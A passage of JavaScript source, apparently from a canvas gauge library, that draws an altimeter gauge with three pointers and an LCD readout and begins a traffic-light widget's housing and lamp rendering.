0); // Undo the translations & shadow settings mainCtx.restore(); // Draw the foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } }; // Has a size been specified? size = (size === 0 ? Math.min(mainCtx.canvas.width, mainCtx.canvas.height) : size); // Set the size - also clears it mainCtx.canvas.width = size; mainCtx.canvas.height = size; imageWidth = size; imageHeight = size; centerX = imageWidth / 2; centerY = imageHeight / 2; smallPointerSize = 0.285 * imageWidth; smallPointerX_Offset = centerX - smallPointerSize / 2; smallPointerY_Offset = 0.17 * imageWidth; // Buffer for the frame frameBuffer = createBuffer(size, size); frameContext = frameBuffer.getContext('2d'); // Buffer for static background painting code backgroundBuffer = createBuffer(size, size); backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for small pointer image painting code smallPointerBuffer = createBuffer(size, size); smallPointerContext = smallPointerBuffer.getContext('2d'); // Buffer for large pointer image painting code largePointerBuffer = createBuffer(size, size); largePointerContext = largePointerBuffer.getContext('2d'); // Buffer for static foreground painting code foregroundBuffer = createBuffer(size, size); foregroundContext = foregroundBuffer.getContext('2d'); // Visualize the component start = new Date().getTime(); tickTock(); return this; }; var altimeter = function (canvas, parameters) { parameters = parameters || {}; // parameters var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), unitAltPos = (undefined === parameters.unitAltPos ? false : true), knobType = (undefined === parameters.knobType ? steelseries.KnobType.METAL_KNOB : parameters.knobType), knobStyle = (undefined === parameters.knobStyle ? steelseries.KnobStyle.BLACK : parameters.knobStyle), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.BLACK : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), // minValue = 0, maxValue = 10, value = minValue, value100 = 0, value1000 = 0, value10000 = 0, angleStep100ft, angleStep1000ft, angleStep10000ft, tickLabelPeriod = 1, // Draw value at every 10th tickmark tween, repainting = false, imageWidth, imageHeight, centerX, centerY, stdFont, mainCtx = getCanvasContext(canvas), // Get the canvas context // Constants TICKMARK_OFFSET = PI, // initialized = false, // ************** Buffer creation ******************** // Buffer for the frame frameBuffer = createBuffer(size, size), frameContext = frameBuffer.getContext('2d'), // Buffer for the background backgroundBuffer = createBuffer(size, size), backgroundContext = backgroundBuffer.getContext('2d'), lcdBuffer, // Buffer for 10000ft pointer image painting code pointer10000Buffer = createBuffer(size, size), pointer10000Context = pointer10000Buffer.getContext('2d'), // Buffer for 1000ft pointer image painting code pointer1000Buffer = createBuffer(size, size), pointer1000Context = pointer1000Buffer.getContext('2d'), // Buffer for 100ft pointer image painting code pointer100Buffer = createBuffer(size, size), pointer100Context = pointer100Buffer.getContext('2d'), // Buffer for static foreground painting code foregroundBuffer = createBuffer(size, size), foregroundContext = foregroundBuffer.getContext('2d'); // End of variables // Get the canvas context and clear it mainCtx.save(); // Has a size been specified? size = (size === 0 ? Math.min(mainCtx.canvas.width, mainCtx.canvas.height) : size); // Set the size mainCtx.canvas.width = size; mainCtx.canvas.height = size; imageWidth = size; imageHeight = size; centerX = imageWidth / 2; centerY = imageHeight / 2; var unitStringPosY = unitAltPos ? imageHeight * 0.68 : false; stdFont = Math.floor(imageWidth * 0.09) + 'px ' + stdFontName; // ************** Image creation ******************** var drawLcdText = function (value) { mainCtx.save(); mainCtx.textAlign = 'right'; mainCtx.textBaseline = 'middle'; mainCtx.strokeStyle = lcdColor.textColor; mainCtx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { mainCtx.shadowColor = 'gray'; mainCtx.shadowOffsetX = imageWidth * 0.007; mainCtx.shadowOffsetY = imageWidth * 0.007; mainCtx.shadowBlur = imageWidth * 0.009; } if (digitalFont) { mainCtx.font = Math.floor(imageWidth * 0.075) + 'px ' + lcdFontName; } else { mainCtx.font = Math.floor(imageWidth * 0.075) + 'px bold ' + stdFontName; } mainCtx.fillText(Math.round(value), (imageWidth + (imageWidth * 0.4)) / 2 - 4, imageWidth * 0.607, imageWidth * 0.4); mainCtx.restore(); }; var drawTickmarksImage = function (ctx, freeAreaAngle, offset, minVal, maxVal, angleStep) { var MEDIUM_STROKE = Math.max(imageWidth * 0.012, 2), THIN_STROKE = Math.max(imageWidth * 0.007, 1.5), TEXT_DISTANCE = imageWidth * 0.13, MED_LENGTH = imageWidth * 0.05, MAX_LENGTH = imageWidth * 0.07, RADIUS = imageWidth * 0.4, counter = 0, tickCounter = 0, sinValue = 0, cosValue = 0, alpha, // angle for tickmarks valueCounter, // value for tickmarks ALPHA_START = -offset - (freeAreaAngle / 2); ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.font = stdFont; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); for (alpha = ALPHA_START, valueCounter = 0; valueCounter <= 10; alpha -= angleStep * 0.1, valueCounter += 0.1) { sinValue = Math.sin(alpha); cosValue = Math.cos(alpha); // tickmark every 2 units if (counter % 2 === 0) { ctx.lineWidth = THIN_STROKE; // Draw ticks ctx.beginPath(); ctx.moveTo(centerX + (RADIUS - MED_LENGTH) * sinValue, centerY + (RADIUS - MED_LENGTH) * cosValue); ctx.lineTo(centerX + RADIUS * sinValue, centerY + RADIUS * cosValue); ctx.closePath(); ctx.stroke(); } // Different tickmark every 10 units if (counter === 10 || counter === 0) { ctx.lineWidth = MEDIUM_STROKE; // if gauge is full circle, avoid painting maxValue over minValue if (freeAreaAngle === 0) { if (Math.round(valueCounter) !== maxValue) { ctx.fillText(Math.round(valueCounter).toString(), centerX + (RADIUS - TEXT_DISTANCE) * sinValue, centerY + (RADIUS - TEXT_DISTANCE) * cosValue); } } counter = 0; tickCounter++; // Draw ticks ctx.beginPath(); ctx.moveTo(centerX + (RADIUS - MAX_LENGTH) * sinValue, centerY + (RADIUS - MAX_LENGTH) * cosValue); ctx.lineTo(centerX + RADIUS * sinValue, centerY + RADIUS * cosValue); ctx.closePath(); ctx.stroke(); } counter++; } ctx.restore(); }; var draw100ftPointer = function (ctx, shadow) { var grad; if (shadow) { ctx.fillStyle = 'rgba(0, 0, 0, 0.5)'; ctx.strokeStyle = 'rgba(0, 0, 0, 0.5)'; } else { grad = ctx.createLinearGradient(0, imageHeight * 0.168224, 0, imageHeight * 0.626168); grad.addColorStop(0, '#ffffff'); grad.addColorStop(0.31, '#ffffff'); grad.addColorStop(0.3101, '#ffffff'); grad.addColorStop(0.32, '#202020'); grad.addColorStop(1, '#202020'); ctx.fillStyle = grad; } ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.518691, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.514018, imageHeight * 0.471962, imageWidth * 0.509345, imageHeight * 0.467289, imageWidth * 0.509345, imageHeight * 0.467289); ctx.lineTo(imageWidth * 0.509345, imageHeight * 0.200934); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.168224); ctx.lineTo(imageWidth * 0.490654, imageHeight * 0.200934); ctx.lineTo(imageWidth * 0.490654, imageHeight * 0.467289); ctx.bezierCurveTo(imageWidth * 0.490654, imageHeight * 0.467289, imageWidth * 0.481308, imageHeight * 0.471962, imageWidth * 0.481308, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.471962, imageHeight * 0.481308, imageWidth * 0.467289, imageHeight * 0.490654, imageWidth * 0.467289, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.514018, imageWidth * 0.476635, imageHeight * 0.528037, imageWidth * 0.490654, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.490654, imageHeight * 0.532710, imageWidth * 0.490654, imageHeight * 0.579439, imageWidth * 0.490654, imageHeight * 0.588785); ctx.bezierCurveTo(imageWidth * 0.485981, imageHeight * 0.593457, imageWidth * 0.481308, imageHeight * 0.598130, imageWidth * 0.481308, imageHeight * 0.607476); ctx.bezierCurveTo(imageWidth * 0.481308, imageHeight * 0.616822, imageWidth * 0.490654, imageHeight * 0.626168, imageWidth * 0.5, imageHeight * 0.626168); ctx.bezierCurveTo(imageWidth * 0.509345, imageHeight * 0.626168, imageWidth * 0.518691, imageHeight * 0.616822, imageWidth * 0.518691, imageHeight * 0.607476); ctx.bezierCurveTo(imageWidth * 0.518691, imageHeight * 0.598130, imageWidth * 0.514018, imageHeight * 0.593457, imageWidth * 0.504672, imageHeight * 0.588785); ctx.bezierCurveTo(imageWidth * 0.504672, imageHeight * 0.579439, imageWidth * 0.504672, imageHeight * 0.532710, imageWidth * 0.509345, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.523364, imageHeight * 0.528037, imageWidth * 0.532710, imageHeight * 0.514018, imageWidth * 0.532710, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.490654, imageWidth * 0.528037, imageHeight * 0.481308, imageWidth * 0.518691, imageHeight * 0.471962); ctx.closePath(); ctx.fill(); ctx.restore(); }; var draw1000ftPointer = function (ctx) { var grad; grad = ctx.createLinearGradient(0, imageHeight * 0.401869, 0, imageHeight * 0.616822); grad.addColorStop(0, '#ffffff'); grad.addColorStop(0.51, '#ffffff'); grad.addColorStop(0.52, '#ffffff'); grad.addColorStop(0.5201, '#202020'); grad.addColorStop(0.53, '#202020'); grad.addColorStop(1, '#202020'); ctx.fillStyle = grad; ctx.beginPath(); ctx.moveTo(imageWidth * 0.518691, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.514018, imageHeight * 0.462616, imageWidth * 0.528037, imageHeight * 0.401869, imageWidth * 0.528037, imageHeight * 0.401869); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.331775); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.401869); ctx.bezierCurveTo(imageWidth * 0.471962, imageHeight * 0.401869, imageWidth * 0.485981, imageHeight * 0.462616, imageWidth * 0.481308, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.471962, imageHeight * 0.481308, imageWidth * 0.467289, imageHeight * 0.490654, imageWidth * 0.467289, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.514018, imageWidth * 0.476635, imageHeight * 0.528037, imageWidth * 0.490654, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.490654, imageHeight * 0.532710, imageWidth * 0.462616, imageHeight * 0.574766, imageWidth * 0.462616, imageHeight * 0.593457); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.616822, imageWidth * 0.5, imageHeight * 0.612149, imageWidth * 0.5, imageHeight * 0.612149); ctx.bezierCurveTo(imageWidth * 0.5, imageHeight * 0.612149, imageWidth * 0.532710, imageHeight * 0.616822, imageWidth * 0.537383, imageHeight * 0.593457); ctx.bezierCurveTo(imageWidth * 0.537383, imageHeight * 0.574766, imageWidth * 0.509345, imageHeight * 0.532710, imageWidth * 0.509345, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.523364, imageHeight * 0.528037, imageWidth * 0.532710, imageHeight * 0.514018, imageWidth * 0.532710, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.490654, imageWidth * 0.528037, imageHeight * 0.481308, imageWidth * 0.518691, imageHeight * 0.471962); ctx.closePath(); ctx.fill(); ctx.restore(); }; var draw10000ftPointer = function (ctx) { ctx.fillStyle = '#ffffff'; ctx.beginPath(); ctx.moveTo(imageWidth * 0.518691, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.514018, imageHeight * 0.471962, imageWidth * 0.514018, imageHeight * 0.467289, imageWidth * 0.514018, imageHeight * 0.467289); ctx.lineTo(imageWidth * 0.514018, imageHeight * 0.317757); ctx.lineTo(imageWidth * 0.504672, imageHeight * 0.303738); ctx.lineTo(imageWidth * 0.504672, imageHeight * 0.182242); ctx.lineTo(imageWidth * 0.532710, imageHeight * 0.116822); ctx.lineTo(imageWidth * 0.462616, imageHeight * 0.116822); ctx.lineTo(imageWidth * 0.495327, imageHeight * 0.182242); ctx.lineTo(imageWidth * 0.495327, imageHeight * 0.299065); ctx.lineTo(imageWidth * 0.485981, imageHeight * 0.317757); ctx.lineTo(imageWidth * 0.485981, imageHeight * 0.467289); ctx.bezierCurveTo(imageWidth * 0.485981, imageHeight * 0.467289, imageWidth * 0.485981, imageHeight * 0.471962, imageWidth * 0.481308, imageHeight * 0.471962); ctx.bezierCurveTo(imageWidth * 0.471962, imageHeight * 0.481308, imageWidth * 0.467289, imageHeight * 0.490654, imageWidth * 0.467289, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.518691, imageWidth * 0.481308, imageHeight * 0.532710, imageWidth * 0.5, imageHeight * 0.532710); ctx.bezierCurveTo(imageWidth * 0.518691, imageHeight * 0.532710, imageWidth * 0.532710, imageHeight * 0.518691, imageWidth * 0.532710, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.490654, imageWidth * 0.528037, imageHeight * 0.481308, imageWidth * 0.518691, imageHeight * 0.471962); ctx.closePath(); ctx.fill(); }; function calcAngleStep() { angleStep100ft = (TWO_PI) / (maxValue - minValue); angleStep1000ft = angleStep100ft / 10; angleStep10000ft = angleStep1000ft / 10; } function calcValues() { value100 = (value % 1000) / 100; value1000 = (value % 10000) / 100; value10000 = (value % 100000) / 100; } // ************** Initialization ******************** // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; // Parameters var drawFrame = (undefined === parameters.frame ? false : parameters.frame), drawBackground = (undefined === parameters.background ? false : parameters.background), drawPointers = (undefined === parameters.pointers ? false : parameters.pointers), drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); initialized = true; calcAngleStep(); // Create frame in frame buffer (backgroundBuffer) if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (drawBackground && backgroundVisible) { // Create background in background buffer (backgroundBuffer) drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); // Create tickmarks in background buffer (backgroundBuffer) drawTickmarksImage(backgroundContext, 0, TICKMARK_OFFSET, 0, 10, angleStep100ft, tickLabelPeriod, 0, true, true, null); // Create title in background buffer (backgroundBuffer) drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, true, true, unitStringPosY); } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { lcdBuffer = createLcdBackgroundImage(imageWidth * 0.4, imageHeight * 0.09, lcdColor); backgroundContext.drawImage(lcdBuffer, (imageWidth - (imageWidth * 0.4)) / 2, imageHeight * 0.56); } if (drawPointers) { // Create 100ft pointer in buffer draw100ftPointer(pointer100Context, false); // Create 1000ft pointer in buffer draw1000ftPointer(pointer1000Context, false); // Create 10000ft pointer in buffer draw10000ftPointer(pointer10000Context, false); } if (drawForeground && foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, true, knobType, knobStyle); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame), resetBackground = (undefined === buffers.background ? false : buffers.background), resetPointers = (undefined === buffers.pointers ? false : buffers.pointers), resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetPointers) { pointer100Buffer.width = size; pointer100Buffer.height = size; pointer100Context = pointer100Buffer.getContext('2d'); pointer1000Buffer.width = size; pointer1000Buffer.height = size; pointer1000Context = pointer1000Buffer.getContext('2d'); pointer10000Buffer.width = size; pointer10000Buffer.height = size; pointer10000Context = pointer10000Buffer.getContext('2d'); } if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; //************************************ Public methods ************************************** this.setValue = function (newValue) { value = parseFloat(newValue); this.repaint(); }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : newValue), gauge = this, time; if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } // Allow 5 secs per 10,000ft time = Math.max(Math.abs(value - targetValue) / 10000 * 5, 1); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true, pointer: true // type2 & 13 depend on background }); backgroundColor = newBackgroundColor; init({background: true, // type2 & 13 depend on background pointer: true }); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setTitleString = function (title) { titleString = title; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setUnitString = function (unit) { unitString = unit; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, pointers: true, foreground: true}); } //mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas mainCtx.drawImage(backgroundBuffer, 0, 0); // Draw lcd display if (lcdVisible) { drawLcdText(value); } // re-calculate the spearate pointer values calcValues(); var shadowOffset = imageWidth * 0.006 * 0.5; mainCtx.save(); //Draw 10000ft pointer // Define rotation center mainCtx.translate(centerX, centerY); mainCtx.rotate((value10000 - minValue) * angleStep10000ft); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(pointer10000Buffer, 0, 0); shadowOffset = imageWidth * 0.006 * 0.75; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; //Draw 1000ft pointer mainCtx.translate(centerX, centerY); mainCtx.rotate((value1000 - minValue) * angleStep1000ft - (value10000 - minValue) * angleStep10000ft); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(pointer1000Buffer, 0, 0); shadowOffset = imageWidth * 0.006; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; //Draw 100ft pointer mainCtx.translate(centerX, centerY); mainCtx.rotate((value100 - minValue) * angleStep100ft - (value1000 - minValue) * angleStep1000ft); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(pointer100Buffer, 0, 0); mainCtx.restore(); //Draw the foregound if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var trafficlight = function (canvas, parameters) { parameters = parameters || {}; var width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), // mainCtx = getCanvasContext(canvas), prefHeight, imageWidth, imageHeight, redOn = false, yellowOn = false, greenOn = false, initialized = false, housingBuffer = doc.createElement('canvas'), housingCtx = housingBuffer.getContext('2d'), lightGreenBuffer = doc.createElement('canvas'), lightGreenCtx = lightGreenBuffer.getContext('2d'), greenOnBuffer = doc.createElement('canvas'), greenOnCtx = greenOnBuffer.getContext('2d'), greenOffBuffer = doc.createElement('canvas'), greenOffCtx = greenOffBuffer.getContext('2d'), lightYellowBuffer = doc.createElement('canvas'), lightYellowCtx = lightYellowBuffer.getContext('2d'), yellowOnBuffer = doc.createElement('canvas'), yellowOnCtx = yellowOnBuffer.getContext('2d'), yellowOffBuffer = doc.createElement('canvas'), yellowOffCtx = yellowOffBuffer.getContext('2d'), lightRedBuffer = doc.createElement('canvas'), lightRedCtx = lightRedBuffer.getContext('2d'), redOnBuffer = doc.createElement('canvas'), redOnCtx = redOnBuffer.getContext('2d'), redOffBuffer = doc.createElement('canvas'), redOffCtx = redOffBuffer.getContext('2d'); // End of variables // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Set the size - also clears the canvas mainCtx.canvas.width = width; mainCtx.canvas.height = height; prefHeight = width < (height * 0.352517) ? (width * 2.836734) : height; imageWidth = prefHeight * 0.352517; imageHeight = prefHeight; housingBuffer.width = imageWidth; housingBuffer.height = imageHeight; lightGreenBuffer.width = imageWidth; lightGreenBuffer.height = imageHeight; greenOnBuffer.width = imageWidth; greenOnBuffer.height = imageHeight; greenOffBuffer.width = imageWidth; greenOffBuffer.height = imageHeight; lightYellowBuffer.width = imageWidth; lightYellowBuffer.height = imageHeight; yellowOnBuffer.width = imageWidth; yellowOnBuffer.height = imageHeight; yellowOffBuffer.width = imageWidth; yellowOffBuffer.height = imageHeight; lightRedBuffer.width = imageWidth; lightRedBuffer.height = imageHeight; redOnBuffer.width = imageWidth; redOnBuffer.height = imageHeight; redOffBuffer.width = imageWidth; redOffBuffer.height = imageHeight; var drawHousing = function (ctx) { var housingFill, housingFrontFill; ctx.save(); ctx.save(); ctx.beginPath(); ctx.moveTo(0.107142 * imageWidth, 0); ctx.lineTo(imageWidth - 0.107142 * imageWidth, 0); ctx.quadraticCurveTo(imageWidth, 0, imageWidth, 0.107142 * imageWidth); ctx.lineTo(imageWidth, imageHeight - 0.107142 * imageWidth); ctx.quadraticCurveTo(imageWidth, imageHeight, imageWidth - 0.107142 * imageWidth, imageHeight); ctx.lineTo(0.107142 * imageWidth, imageHeight); ctx.quadraticCurveTo(0, imageHeight, 0, imageHeight - 0.107142 * imageWidth); ctx.lineTo(0, 0.107142 * imageWidth); ctx.quadraticCurveTo(0, 0, 0.107142 * imageWidth, imageHeight); ctx.closePath(); housingFill = ctx.createLinearGradient(0.040816 * imageWidth, 0.007194 * imageHeight, 0.952101 * imageWidth, 0.995882 * imageHeight); housingFill.addColorStop(0, 'rgb(152, 152, 154)'); housingFill.addColorStop(0.01, 'rgb(152, 152, 154)'); housingFill.addColorStop(0.09, '#333333'); housingFill.addColorStop(0.24, 'rgb(152, 152, 154)'); housingFill.addColorStop(0.55, 'rgb(31, 31, 31)'); housingFill.addColorStop(0.78, '#363636'); housingFill.addColorStop(0.98, '#000000'); housingFill.addColorStop(1, '#000000'); ctx.fillStyle = housingFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.beginPath(); ctx.moveTo(0.030612 * imageWidth + 0.084183 * imageWidth, 0.010791 * imageHeight); ctx.lineTo(0.030612 * imageWidth + 0.938775 * imageWidth - 0.084183 * imageWidth, 0.010791 * imageHeight); ctx.quadraticCurveTo(0.030612 * imageWidth + 0.938775 * imageWidth, 0.010791 * imageHeight, 0.030612 * imageWidth + 0.938775 * imageWidth, 0.010791 * imageHeight + 0.084183 * imageWidth); ctx.lineTo(0.030612 * imageWidth + 0.938775 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight - 0.084183 * imageWidth); ctx.quadraticCurveTo(0.030612 * imageWidth + 0.938775 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight, 0.030612 * imageWidth + 0.938775 * imageWidth - 0.084183 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight); ctx.lineTo(0.030612 * imageWidth + 0.084183 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight); ctx.quadraticCurveTo(0.030612 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight, 0.030612 * imageWidth, 0.010791 * imageHeight + 0.978417 * imageHeight - 0.084183 * imageWidth); ctx.lineTo(0.030612 * imageWidth, 0.010791 * imageHeight + 0.084183 * imageWidth); ctx.quadraticCurveTo(0.030612 * imageWidth, 0.010791 * imageHeight, 0.030612 * imageWidth + 0.084183 * imageWidth, 0.010791 * imageHeight); ctx.closePath(); housingFrontFill = ctx.createLinearGradient(-0.132653 * imageWidth, -0.053956 * imageHeight, 2.061408 * imageWidth, 0.667293 * imageHeight); housingFrontFill.addColorStop(0, '#000000'); housingFrontFill.addColorStop(0.01, '#000000'); housingFrontFill.addColorStop(0.16, '#373735'); housingFrontFill.addColorStop(0.31, '#000000'); housingFrontFill.addColorStop(0.44, '#303030'); housingFrontFill.addColorStop(0.65, '#000000'); housingFrontFill.addColorStop(0.87, '#363636'); housingFrontFill.addColorStop(0.98, '#000000'); housingFrontFill.addColorStop(1, '#000000'); ctx.fillStyle = housingFrontFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawLightGreen = function (ctx) { var lightGreenFrameFill, lightGreenInnerFill, lightGreenEffectFill, lightGreenInnerShadowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.805755 * imageHeight, 0.397959 * imageWidth, 0, TWO_PI, false); lightGreenFrameFill = ctx.createLinearGradient(0, 0.665467 * imageHeight, 0, 0.946043 * imageHeight); lightGreenFrameFill.addColorStop(0, '#ffffff'); lightGreenFrameFill.addColorStop(0.05, 'rgb(204, 204, 204)'); lightGreenFrameFill.addColorStop(0.1, 'rgb(153, 153, 153)'); lightGreenFrameFill.addColorStop(0.17, '#666666'); lightGreenFrameFill.addColorStop(0.27, '#333333'); lightGreenFrameFill.addColorStop(1, '#010101'); ctx.fillStyle = lightGreenFrameFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1.083333, 1); ctx.beginPath(); ctx.arc(0.461538 * imageWidth, 0.816546 * imageHeight, 0.367346 * imageWidth, 0, TWO_PI, false); lightGreenInnerFill = ctx.createLinearGradient(0, 0.687050 * imageHeight, 0, 0.946043 * imageHeight); lightGreenInnerFill.addColorStop(0, '#000000'); lightGreenInnerFill.addColorStop(0.35, '#040404'); lightGreenInnerFill.addColorStop(0.66, '#000000'); lightGreenInnerFill.addColorStop(1, '#010101'); ctx.fillStyle = lightGreenInnerFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.809352 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightGreenEffectFill = ctx.createRadialGradient(0.5 * imageWidth, 0.809352 * imageHeight, 0, 0.5 * imageWidth, 0.809352 * imageHeight, 0.362244 * imageWidth); lightGreenEffectFill.addColorStop(0, '#000000'); lightGreenEffectFill.addColorStop(0.88, '#000000'); lightGreenEffectFill.addColorStop(0.95, 'rgb(94, 94, 94)'); lightGreenEffectFill.addColorStop(1, '#010101'); ctx.fillStyle = lightGreenEffectFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.809352 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightGreenInnerShadowFill = ctx.createLinearGradient(0, 0.687050 * imageHeight, 0, 0.917266 * imageHeight); lightGreenInnerShadowFill.addColorStop(0, '#000000'); lightGreenInnerShadowFill.addColorStop(1, 'rgba(1, 1, 1, 0)'); ctx.fillStyle = lightGreenInnerShadowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawGreenOn = function (ctx) { var greenOnFill, greenOnGlowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); greenOnFill = ctx.createRadialGradient(0.5 * imageWidth, 0.809352 * imageHeight, 0, 0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth); greenOnFill.addColorStop(0, 'rgb(85, 185, 123)'); greenOnFill.addColorStop(1, 'rgb(0, 31, 0)'); ctx.fillStyle = greenOnFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.beginPath(); ctx.moveTo(0, 0.812949 * imageHeight); ctx.bezierCurveTo(0, 0.910071 * imageHeight, 0.224489 * imageWidth, 0.989208 * imageHeight, 0.5 * imageWidth, 0.989208 * imageHeight); ctx.bezierCurveTo(0.775510 * imageWidth, 0.989208 * imageHeight, imageWidth, 0.910071 * imageHeight, imageWidth, 0.809352 * imageHeight); ctx.bezierCurveTo(0.908163 * imageWidth, 0.751798 * imageHeight, 0.704081 * imageWidth, 0.687050 * imageHeight, 0.5 * imageWidth, 0.687050 * imageHeight); ctx.bezierCurveTo(0.285714 * imageWidth, 0.687050 * 